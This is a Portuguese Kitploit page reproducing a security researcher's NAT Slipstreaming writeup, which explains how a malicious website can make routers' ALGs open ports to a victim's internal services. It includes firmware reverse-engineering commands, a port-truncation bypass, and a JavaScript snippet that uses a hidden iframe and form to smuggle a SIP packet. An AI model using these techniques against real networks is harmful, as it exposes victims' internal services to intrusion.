Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/samyk/slipstream
ReconhecimentoExploraçãoSegurança WebSegurança de RedeTestes de Penetração
GitHubsamyk/slipstream

slipstream

NAT Slipstreaming permite que um invasor acesse remotamente qualquer serviço TCP/UDP vinculado a uma máquina vítima, contornando o NAT/firewall da vítima, apenas com alguém na rede da vítima visitando um site

Ver Repositório
2.0k2142há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
slipstream — NAT Slipstreaming permite que um invasor acesse remotamente qualquer serviço TCP/UDP vinculado a uma máquina vítima, contornando o NAT/firewall da vítima, apenas com alguém na rede da vítima visitando um site | Kitploit
Site

NAT Slipstreaming

NAT Slipstreaming permite que um atacante acesse remotamente qualquer serviço TCP/UDP vinculado a qualquer sistema atrás do NAT da vítima, ignorando o NAT/firewall da vítima (controle remoto arbitrário de abertura de firewall), apenas com a vítima visitando um site.

v1 desenvolvido por: @SamyKamkar // https://samy.pl
v2 desenvolvido por: Samy Kamkar && (Ben Seri && Gregory Vishnipolsky da Armis).

Leia a excelente descrição técnica de Ben e Gregory sobre v2 aqui que se aprofunda em suas atualizações da v2 com muitos detalhes adicionais.

v1 lançado: 31 de outubro 👻, 2020
v2 lançado: 26 de janeiro, 2021

Código fonte: https://github.com/samyk/slipstream

Arquitetura NAT Slipstreaming versão animada aqui gerada com meu fork do draw.io, permitindo fluxo de contexto de borda exportável e controle em animações

Índice

  • Resumo
  • Os detalhes
    • Network Address Translation (NAT)
      • Rastreamento de Conexão
      • Gateway de Nível de Aplicação
    • Investigação do Roteador / Extração de Firmware
    • Engenharia Reversa de Firmware
      • Encontrando Arquivos Interessantes
      • Explorando Funções Interessantes
      • Portas / Serviços a Investigar
      • Revertendo o Objeto do Kernel
    • Investigação de Rastreamento de Conexão / Gateway de Nível de Aplicação
      • Linux Netfilter
    • Controle de Limite de Pacote / Fragmentação
    • Ataque de Tempo TCP / Descoberta de Sub-rede Interna & IP
      • Ataque de Tempo
    • Confusão de Protocolo no Navegador
      • Alteração ao Vivo de Pacotes no Navegador
  • Outras Descobertas
  • Download
  • Contato

Resumo

NAT Slipstreaming explora o navegador do usuário em conjunto com o mecanismo de rastreamento de conexão Application Level Gateway (ALG) incorporado em NATs, roteadores e firewalls, encadeando extração de IP interno via ataque de tempo ou WebRTC, descoberta remota automatizada de MTU e fragmentação IP, ajuste de tamanho de pacote TCP, uso indevido de autenticação TURN, controle preciso de limite de pacote e confusão de protocolo através de abuso do navegador. Como é o NAT ou firewall que abre a porta de destino, isso ignora quaisquer restrições de porta baseadas no navegador.

Este ataque tira proveito do controle arbitrário da porção de dados de alguns pacotes TCP e UDP sem incluir cabeçalhos HTTP ou outros; o ataque realiza esta nova técnica de injeção de pacote em todos os principais navegadores modernos (e antigos), e é uma versão modernizada da minha técnica original NAT Pinning de 2010 (apresentada na DEFCON 18 + Black Hat 2010). Além disso, novas técnicas para descoberta de endereço IP local estão incluídas.

Este ataque requer que o NAT/firewall suporte ALG (Application Level Gateways), que são obrigatórios para protocolos que podem usar múltiplas portas (canal de controle + canal de dados) como SIP e H323 (protocolos VoIP), FTP, IRC DCC, etc.

Em alto nível, NAT Slipstreaming funciona assim:

  • vítima visita site malicioso (ou site com anúncio malicioso)
  • o IP interno da vítima primeiro deve ser extraído pelo navegador e enviado ao servidor
    • tentativa de extrair IP interno via WebRTC canal de dados sobre https
      • alguns navegadores (Chrome) só revelam o IP local via WebRTC sobre HTTPS, mas alguns de nossos ataques exigem HTTP, então primeiro redirecionamos para a versão HTTPS do software de ataque para extrair o IP local
      • em seguida, redirecionamos para a versão HTTP com o IP local incluído na URL se conseguimos obtê-lo para contornar outros mecanismos de proteção de origem cruzada (o endereço .local mDNS/Bonjour apresentado não será útil para o ataque)
    • se o IP interno não for revelado pelo WebRTC (Safari) ou não houver WebRTC (<= IE11), ataque de tempo TCP baseado na web é realizado
      • tags img ocultas para todos os gateways comuns (ex: 192.168.0.1) são carregadas em segundo plano
      • eventos onerror/onsuccess anexados às tags img
      • se qualquer TCP RST retornado pelo gateway (ou SYN + resposta HTTP), detectamos uma sub-rede válida
      • re-executar ataque de tempo em todos os IPs nas sub-redes detectadas (/24), medindo o tempo até o disparo de onerror/onsuccess
      • a resposta mais rápida é provavelmente o IP interno, embora todas as respostas sejam consideradas candidatas a IP interno da vítima e atacadas
  • grande beacon TCP enviado via formulário oculto e POST HTTP automático para o "servidor HTTP" do atacante vinculado a uma porta não padrão para forçar segmentação TCP e descoberta do tamanho máximo de MTU da pilha IP da vítima
    • servidor TCP do atacante envia opção TCP Maximum Segment Size para massagear os tamanhos dos pacotes de saída da vítima (), permitindo controlar o tamanho dos pacotes TCP do navegador

pacote bem-sucedido quebrado em pacote SIP válido

Os detalhes

Network Address Translation (NAT)

Usamos NATs (Network Address Translation) por várias razões. A característica mais útil do NAT é que permite que um único endereço IP público seja compartilhado entre múltiplos sistemas. Isso é feito criando uma rede local, fornecendo endereços IP locais para todas as máquinas que se conectam, e quando um desses sistemas sai para a Internet, ele reescreve os pacotes de saída para usar o IP público, de modo que as respostas voltem para o NAT, e vice-versa, reescrevendo o IP de destino para o IP específico do cliente.

É responsabilidade do NAT diferenciar conexões para os mesmos endereços/portas (google.com:443) de hosts internos, pois, no final, a porta de saída, o IP de destino e o IP de origem serão os mesmos. Se dois pares internos diferentes tentarem se conectar da mesma porta de origem, NATs modernos alterarão uma das portas de origem (algumas redes fazem isso com todas as portas de origem TCP/UDP).

NAT

Rastreamento de Conexão

De Wikipedia ala Wikiwand:``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.

root@kitploit:~
Se uma máquina atrás do seu NAT envia um pacote para fora e o seu roteador espera que o host remoto possa responder, ele mantém controle das informações, especificamente as portas de origem e destino, endereços IP de origem e destino, e seu IP interno, então retorna quaisquer pacotes correspondentes de volta para o seu IP interno.

Se outro host na sua LAN tentar fazer a mesma conexão com as mesmas portas de origem e destino + IPs, o seu NAT não conseguiria discriminá-lo (os IPs de origem são diferentes na sua LAN, mas são reescritos para o mesmo IP público no lado WAN), então ele altera a porta de origem, mas a reescreve ao enviar de volta para você.

### Gateway de Nível de Aplicação

Os ALGs permitem que o NAT rastreie um protocolo de múltiplas portas como o FTP para sair do seu sistema para um servidor FTP, então rastreia quando você solicita que um arquivo seja enviado para o seu IP interno em uma porta específica, o ALG pode reescrever o pacote para incluir seu IP público e, em seguida, encaminhar a conexão do servidor FTP de volta para você. Se não tivesse reescrito seu IP, o servidor FTP tentaria se conectar de volta a você no seu IP interno (ou nem tentaria se esperar que o IP de origem seja o mesmo da conexão de sinalização).

De [Wikipedia](https://www.wikiwand.com/en/Application-level_gateway):```
In the context of computer networking, an application-level 
gateway consists of a security component that augments a 
firewall or NAT employed in a computer network. It allows 
customized NAT traversal filters to be plugged into the 
gateway to support address and port translation for certain 
application layer "control/data" protocols such as FTP, 
BitTorrent, SIP, RTSP, file transfer in IM applications, etc. 
In order for these protocols to work through NAT or a 
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the 
NAT has to monitor the control traffic and open up port 
mappings (firewall pinhole) dynamically as required. 
Legitimate application data can thus be passed through the 
security checks of the firewall or NAT that would have 
otherwise restricted the traffic for not meeting its limited 
filter criteria.

Investigação de Roteadores / Extração de Firmware

Primeiramente, gostaria de ver como os gateways comuns realmente tratam pacotes e protocolos de múltiplas portas, como FTP, SIP, etc. Para isso, vamos querer fazer engenharia reversa do firmware de roteadores comuns. Poderíamos extrair a flash de roteadores físicos, no entanto, se conseguirmos firmware não criptografado dos fabricantes, poderemos investigar mais modelos de roteadores e de forma muito mais rápida.

Começaremos com um roteador comum, o Netgear Nighthawk R7000. Uma pesquisa rápida nos ajuda a encontrar um artigo da Netgear com firmware recente. Depois de baixar o firmware e descompactar, encontramos um arquivo de 30MB chamado R7000-V1.0.9.64_10.2.64.chk.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’

R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s

2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]

tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

root@kitploit:~
![R7000-V1.0.9.64_10.2.64.chk](https://assets.kitploit.com/production/public/readmes/3946/ff37a83fee71d670f7d0298b6c22182a4e55d0e3ec949d82256b532820438723.png)

O comando `file` não detecta nenhuma [informação mágica](https://www.wikiwand.com/en/Magic_number_(programming)), então podemos usar [`binwalk`](https://github.com/ReFirmLabs/binwalk) para escanear o arquivo em busca de dados aninhados.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
58            0x3A            TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098       0x21E42A        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38

binwalk R7000-V1.0.9.64_10.2.64.chk

Uso macOS e o binwalk depende de alguns aplicativos Linux prontos para uso, o que faria com que binwalk -e (que extrai arquivos) falhasse, então extraio manualmente (e eu <3 perl golf).```sh tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs

root@kitploit:~
Ou use [`inout`](https://github.com/samyk/samytools/blob/master/inout), por exemplo `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.

Você poderia usar `dd`, no entanto você iria querer um `bs` (tamanho de bloco) grande para que a saída seja rápida, por exemplo 1024, porém o atributo `skip` (para indicar para começar na localização do blob squashfs) respeitaria o tamanho do bloco e 2221098 não é obviamente divisível por nada rapidamente de cabeça além de 2...agora estou curioso.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)

real	1m18.385s
user	0m12.553s
sys  	1m4.451s

Agora vamos descompactar o sistema de arquivos squash. Criei um fork de um fork do squashfs-tools que roda no macOS e tem suporte a lzo. Você pode precisar instalar xz e lzo também. Alternativamente, você pode usar o sasquatch no Linux.```sh tigerblood:~c/ng$ sudo port install xz lzo ... tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..

root@kitploit:~
E finalmente podemos descompactar o squash fs.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write

squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...

tigerblood:~c/ng$ cd squashfs-root && ls
bin   data  dev   etc   lib   media mnt   opt   proc  sbin  share sys   tmp   usr   var   www

Agora temos o SO bruto para explorar!

Engenharia Reversa de Firmware

Encontrando Arquivos Interessantes

Agora vamos ver se conseguimos encontrar quaisquer arquivos relevantes para FTP, já que era um protocolo muito utilizado, então o suporte a ALG será abundante em roteadores. Eu uso minha g tool que é apenas um wrapper conveniente para egrep.```sh tigerblood:~c/ng/squashfs-root$ find . | g ftp ./usr/bin/tftp ./usr/sbin/bftpd ./usr/sbin/ftp ./usr/sbin/ftpc ./usr/etc/sftp-ssh.service

root@kitploit:~
Nada interessante, então vamos `g` para arquivos binários cujo conteúdo corresponda a /ftp/, ignorando alguns arquivos que não nos importam.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0

g verifica recursivamente o diretório de trabalho atual por padrão. -l serve para imprimir apenas nomes de arquivos (já que estes serão principalmente binários), -a para escanear arquivos binários, ftp para o texto a corresponder, e -v '\.(html?|js|gif)$|www/|bin/' para ignorar arquivos web e executáveis (localizados em (s)bin/).

Quaisquer arquivos lib/lib*.{a,so}{.*,} (formato bash) são desinteressantes, então vamos escanear novamente com menos:```sh tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)' lib/modules/tdts.ko lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko opt/xagent/certs/ca-bundle-mega.crt usr/etc/sftp-ssh.service usr/share/avahi/service-types

root@kitploit:~
### Explorando Funções Potencialmente Úteis

Ok, dois arquivos de interesse -- `lib/modules/tdts.ko` pode estar relacionado, e `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko` provavelmente não está relacionado, mas parece interessante! Pode ser que investigue isso mais tarde.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule

Legal! Um objeto de kernel (.ko) com funções ftp, e com palavras como "port", provavelmente está relacionado a um ALG de FTP. O FTP RFC 959 explica o significado do comando PORT:``` DATA PORT (PORT)

The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.

root@kitploit:~
### Portas / Serviços para Investigar

Embora tenhamos encontrado algumas funções FTP, estamos mais interessados em portas que podemos usar. Navegadores modernos impedem conexões HTTP(S) de saída para várias [portas restritas](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d5b3470d46b35845c5/net/base/port_util.cc#L20-L90), incluindo FTP, então abusar do FTP ALG provavelmente não é viável.

Em 2010, quando [demonstrei pela primeira vez o NAT Pinning](https://samy.pl/natpin/), usei a porta 6667 (IRC) através das mensagens DCC CHAT/FILE. Rapidamente, os fornecedores de navegadores bloquearam a porta 6667... embora alguns usassem um uint32 (inteiro sem sinal de 32 bits) para armazenar a porta, verificar se a porta estava bloqueada e, se não estivesse, conectar. Para contornar isso, é importante notar que as portas TCP têm 16 bits de comprimento, então se você adicionar 2**16 (65536) à porta "restrita" escolhida, neste caso 65536+6667=72203, o navegador armazenaria 72203, passaria na restrição de porta (72203 != 6667) e então seria enviado para a pilha TCP onde seria truncado para 16 bits, que é a porta restrita que queríamos!

Minha simples [`base calculator, 3`](https://github.com/samyk/samytools/blob/master/3) mostra isso (db = dec -> bin):```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011

Podemos ver melhor com a minha ferramenta diffbits, uma ferramenta simples para visualizar semelhanças e diferenças entre strings de bits, bem como entre múltiplos grupos de strings de bits, útil para engenharia reversa de protocolos binários proprietários.

diffbits

Reversing the Kernel Object

Vá em frente e abra seu desassemblador de escolha. Eu usei o Ghidra dos nossos amigos da NSA, pois é gratuito e de código aberto.

Algumas das funções que vimos em tdts.ko através de strings foram ftp_decode e ftp_decoder, então é possível que outros ALGs tenham uma função _decode. Vamos ver...

Ghidra _decode

Certo, várias funções _decode...rolando para baixo, uma interessante é sip_decode.

Ghidra tdts.ko

Verificando as portas restritas do nosso navegador, vemos que a porta 5060, a porta padrão do SIP, não é restrita no Chrome :)

Tentando Pacote SIP em POST HTTP

O SIP vive na porta TCP/UDP 5060, mas a mídia como RTP (áudio) é enviada em portas alternativas que são geradas dinamicamente. Ao enviar uma requisição para uma chamada SIP, seu cliente SIP escolhe uma porta aleatória, abre-a e a inclui no cabeçalho SIP. Seu NAT também deve vê-la e abri-la, assumindo que o ALG SIP esteja ativado (e está ativado na maioria dos roteadores por padrão).

Assumindo que NATs leem pacotes SIP linha por linha (SIP é baseado em linhas como HTTP e não é um protocolo binário), talvez ele ignore o cabeçalho HTTP e, ao chegar nos dados do POST, leia o REGISTER e acredite que é um pacote SIP. Isso funcionou na nossa versão de 2010 para o IRC DCC. O NAT ignorou o cabeçalho HTTP e apenas analisou o comando IRC DCC.

Engraçado, isso também nos permitiu fazer com que usuários que visitassem nosso site se conectassem a um servidor IRC legítimo, entrassem em um canal e enviassem uma mensagem a partir do IP deles sem que soubessem! :P Demonstrei essa técnica para enviar e-mails para servidores de correio com endereços IP de clientes antes da porta 25 ser bloqueada pelos navegadores e antes dos registros SPF serem comuns... loucura.

Agora, em um teste rápido, enviar um pacote SIP REGISTER pela porta 5060 através de um POST HTTP parece não funcionar... talvez estejamos perdendo algo no pacote.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'

// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe

// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded

var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()

root@kitploit:~
Se farejarmos, vemos (analisado via [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)):```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"

REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>


------WebKitFormBoundaryhcoAd2iSAx3TJA7A--

No entanto, isso não abre a porta, nem o IP é reescrito como esperaríamos (mais sobre isso adiante), então deve estar faltando algo.

Continuar a Reengenharia do Objeto do Kernel Mais a Fundo

Vamos continuar investigando o objeto do kernel. No desassembly, vemos a tag "SIP/2.0" de um pacote SIP, então é provável que esteja fazendo parsing aqui (o que "decode" parece indicar).

Ghidra sip_decode

Ah, é por isso que falhamos. Parece que está executando strncasecmp em INVITE (parsing semelhante no REGISTER) — comparando (case-insensitive, o que é interessante, já que INVITEs SIP estão em maiúsculas) a palavra "INVITE" no início do pacote e branches if not equal (assembly ARM bne) para 0, ou seja, se as palavras coincidirem, a ordem lexicográfica será 0 e continuaremos para ct_sip_get_header, o que parece divertido, e parece abortar caso contrário.

Este é o problema... embora possamos usar um navegador web para criar sockets de saída (TCP via HTTP(S), UDP via TURN com WebRTC), não temos controle suficiente sobre o navegador para iniciar a porção de dados TCP com a palavra "INVITE", que este módulo espera. Na versão IRC de 2010, o ALG IRC apenas analisava linha por linha, ignorando todos os dados do cabeçalho HTTP, usando linhas novas nos dados POST para enviar um "IRC DCC" válido. No entanto, este ALG SIP é muito mais restritivo e controlar o início do pedido não é possível. Se usar TLS, o cabeçalho encriptado iniciará o pacote. Se usar HTTP, o método HTTP começará o pacote (GET, POST, etc). Podemos explorar isso de outra forma?

Investigação de Rastreamento de Conexão / Gateway de Nível de Aplicação

Netfilter do Linux

Para entender melhor o rastreamento de conexão e os Gateways de Nível de Aplicação, podemos ver como eles se comportam no netfilter, a pilha de rede do Linux. Criei um gráfico dos ALGs mais comuns e como eles se comportam com base na análise do código fonte do Linux.

Linux ALG

A partir deste gráfico, os mais interessantes (que o Chrome não bloqueia) são sane (backup), sip (voip), pptp (vpn) e h323 (voip). Vamos escolher SIP, pois é um dos protocolos mais ubíquos destes, e já o vemos em alguns firmwares de roteadores.

O Linux especificamente tem arquivos nf_conntrack_*.c para lidar com o rastreamento de conexão por protocolo, e nf_nat_*.c para manipulação (modificação) de pacotes.

Vamos dar uma olhada rápida no módulo de rastreamento de conexão SIP

  • module_init(nf_conntrack_sip_init) inicializa este rastreador de conexão, chamando nf_conntrack_sip_init
  • nf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) esperamos que a sinalização venha de IPv4 AF_INET TCP IPPROTO_TCP porta 5060 SIP_PORT...isto ocorre para UDP, TCP, IPv4 e IPv6
  • sip_help_tcp(...) chamado quando um pacote TCP SIP correspondente chega
    • process_sip_msg(...) se isto parece um potencial pacote SIP
      • se isto é um pedido

Controlo de Fronteira de Pacotes

Pelo que sabemos, não podemos fazer com que o navegador force uma conexão TCP de saída com o tráfego que quisermos, e é necessário criarmos um pacote TCP/UDP começando com um método SIP como REGISTER ou INVITE.

O Flash costumava permitir sockets de saída, mas estava num formato sobre o qual não tínhamos controlo total. Java requer permissão. WebSockets ainda são HTTP. TLS está encriptado. WebRTC (RFC 7742) está encriptado. STUN (RFC 3489) e TURN (RFC 5766) estão em formatos fixos, e TURNS (RFC 7065) está encriptado.

Segmentação TCP

Num nível alto, não podemos controlar o início do pacote TCP, mas e se enviarmos um pacote demasiado grande? Deve haver um tamanho máximo de pacote... ponto em que um pacote tem de ser fragmentado em vários pacotes. Se conseguirmos exceder o tamanho do pacote TCP e controlar precisamente parte dos dados, poderíamos causar segmentação de pacotes e ter os nossos dados no início do nosso próximo pacote excedido?

Bem, precisaríamos saber quantos dados o navegador enviará, o que será diferente por navegador, e até mesmo por utilizador, pois podem enviar cabeçalhos HTTP diferentes. HTTPS não funcionará, pois a maior parte do conteúdo está encriptado, enquanto um HTTP POST permite-nos controlar uma grande porção do cabeçalho.

Para obter o tamanho geral do pacote, enviamos um HTTP POST grande (6000 bytes) com um ID e dados de enchimento com um formulário web oculto para o nosso http://our.attack.server:5060/pktsize. No servidor de ataque, executamos um sniffer de pacotes que procura as fronteiras do nosso pacote para determinar o tamanho MTU (Maximum Transmission Unit), tamanho do cabeçalho IP, potenciais opções IP, tamanho do cabeçalho TCP, potenciais opções TCP, tamanho do pacote de dados, e que porção do pacote controlamos.

Também executamos um servidor personalizado que escuta na porta TCP 5060 e responde com tráfego HTTP para aplacar o navegador, de modo que nada pareça suspeito no lado do cliente (um servidor com uma resposta malformada causaria erros na consola, ou um servidor a responder incorretamente manteria o spinner de estado ativo).

POST large form to measure MTU and TCP data size

Tentamos ainda controlar o tamanho dos dados do pacote TCP enviando uma opção TCP Maximum Segment Size (mss) durante a resposta SYN inicial para manipular os tamanhos dos pacotes de saída da vítima (RFC 793 x3.1). Isto diz à máquina da vítima para manter os pacotes TCP com um determinado tamanho.

Custom Maximum Segment Size (img/sniff1.png)

Pode fazer isto no Linux anexando advmss <size> ao ip route. Usaremos 1500.```sh ip route replace default via [gateway] dev eth0 advmss 1500

root@kitploit:~
Assim que obtivermos os pacotes, enviamos os dados de tamanho de volta ao cliente vítima através de um POST separado, que envia o ID da vítima para podermos correlacioná-lo com a requisição original da vítima. Neste ponto, o cliente tem uma boa noção de como preencher pacotes para fazer com que dados arbitrários cheguem a qualquer localização específica em um pacote TCP.

### Fragmentação IP com UDP e TURN

Alguns NATs permitem acesso a portas UDP apenas se a conexão SIP foi originalmente UDP, então usamos TURN neste caso. TURN é um protocolo que suporta relay para comunicação peer-to-peer como SIP e WebRTC. TURN é UDP enquanto TURNS (TURN+TLS) é TCP. Navegadores modernos suportam TURN para WebRTC caso não consigam estabelecer uma conexão direta peer-to-peer entre si para compartilhamento de mídia.

TURN permite autenticação via nome de usuário e senha, onde o nome de usuário é enviado em texto claro. Curiosamente, o nome de usuário não é limitado por tamanho ou caracteres, então podemos usar isso para realizar o mesmo tipo de overflow de pacote.

Como TURN é sobre UDP, o próprio pacote IP será fragmentado se exceder o tamanho MTU (UDP não suporta segmentação). O segundo pacote não terá apenas a porção de dados sob nosso controle, mas também o cabeçalho UDP! Isso não é importante para nosso ataque, mas é interessante e pode definitivamente produzir ataques alternativos. No final, podemos realizar o mesmo ataque via UDP alinhando nosso limite de pacote com base no tamanho MTU calculado, em vez do tamanho MSS, fazendo com que nosso pacote SIP UDP viva no limite do segundo pacote (com um cabeçalho UDP falso anexado), permitindo-nos encaminhar portas UDP de volta para nossa vítima.

## Ataque de Temporização TCP / Descoberta de Sub-rede Interna e IP

Ah, isso ainda não vai funcionar! Para que o ALG trate como um pacote SIP legítimo, o endereço IP que você está solicitando que os dados retornem (na linha [`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13) do SIP) deve ser o IP interno (vítima) de onde o pacote SIP veio, o qual não conhecemos. Apenas o endereço IP público do roteador é transmitido para nosso servidor (pois o NAT reescreve o IP de origem quando ele sai pelo lado público).

Vemos esta verificação no `process\_sip\_request` do Linux em `nf_conntrack_sip.c` ([link](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260)):

![Validação do IP Via SIP REGISTER](https://assets.kitploit.com/production/public/readmes/3946/46b6a320ab0e8972a37c8e057cebb36d5fb32905ef2894ea6a06bfe508e7db59.png)

Em [2010](https://samy.pl/natpin/), usamos [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect) que permitia executar código Java sob algumas condições a partir de Javascript, extraindo o IP local do usuário. Isso se tornou obsoleto rapidamente.

Em alguns navegadores (Chrome, Firefox), podemos usar [WebRTC](https://www.w3.org/TR/webrtc/) para obter o endereço IP interno da vítima via [ICE](https://tools.ietf.org/html/rfc5245) (que usa apenas STUN/TURN/TURNS). Estes são protocolos para ajudar peers atrás de NATs a determinarem informações sobre si mesmos. Ironicamente, nenhum servidor precisa ser usado na "requisição" ICE, pois o navegador já conhece seu IP interno, e um servidor STUN/TURN remoto não saberia disso a menos que o cliente o enviasse em primeiro lugar. O problema é que nem todos os navegadores fornecem este mecanismo.

Atualmente, usar WebRTC para obter o endereço IP local no Chrome, em vez de um endereço `.local` mDNS/Bonjour, requer HTTPS, mas HTTP é necessário para o restante dos ataques, então primeiro detectamos se estamos em HTTP e, se não, redirecionamos para HTTPS. Então tentamos usar WebRTC para extrair o endereço IP local. De qualquer forma, redirecionamos de volta para HTTP com o(s) IP(s) anexado(s) à URL para contornar restrições de origem cruzada via outros métodos de comunicação.

### Ataque de Temporização

Se usar Safari, IE <= 11 ou outros que não suportam WebRTC ou intencionalmente não revelam IP interno (Safari), podemos usar um ataque de temporização web para revelar o endereço IP interno da vítima.

